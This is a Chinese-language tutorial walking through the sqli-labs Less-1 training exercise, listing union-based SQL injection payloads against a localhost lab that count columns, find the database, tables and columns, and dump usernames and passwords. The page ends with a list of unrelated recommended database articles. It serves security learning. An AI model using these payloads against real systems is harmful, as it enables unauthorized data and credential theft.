SQL注入实例(sqli-labs/less-1)

初始网页

从网页可知传递的参数名为 id,并且为数字类型

1、得知数据表有多少列

1.1 使用联合查询查找列数(效率低)
sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' union select 1,2 --+
1.2 使用order by查找列数(效率高)
sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

2、查看回显位置

sql 复制代码
?id=-1' union select 1,2,3 --+

3、查询当前数据库名

sql 复制代码
?id=-1' union select 1,database(),3 --+

4、查询当前表名

sql 复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

5、查询列名

sql 复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

6、查询最终数据

sql 复制代码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+

其他

查询当前数据库版本

sql 复制代码
?id=-1' union select 1,version(),3 --+

查询当前登录用户

sql 复制代码
?id=-1' union select 1,user(),3 --+
相关推荐
success_a1 小时前
大故障:阿里云核心域名爆炸了
数据库·阿里云·云计算
@小红花4 小时前
MySQL数据库从0到1
数据库·mysql·oracle
[听得时光枕水眠]4 小时前
MySQL基础(三)DQL(Data Query Language,数据查询语言)
数据库·mysql·oracle
我科绝伦(Huanhuan Zhou)4 小时前
深入解析Oracle SQL调优健康检查工具(SQLHC):从原理到实战优化
数据库·sql·oracle
神奇侠20248 小时前
Hive SQL常见操作
hive·hadoop·sql
一只叫煤球的猫8 小时前
MySQL 8.0 SQL优化黑科技,面试官都不一定知道!
后端·sql·mysql
寒山李白8 小时前
MySQL安装与配置详细讲解
数据库·mysql·配置安装
多多*9 小时前
微服务网关SpringCloudGateway+SaToken鉴权
linux·开发语言·redis·python·sql·log4j·bootstrap
文牧之9 小时前
PostgreSQL 的扩展pg_freespacemap
运维·数据库·postgresql
deriva9 小时前
某水表量每15分钟一报,然后某天示数清0了,重新报示值了 ,如何写sql 计算每日水量
数据库·sql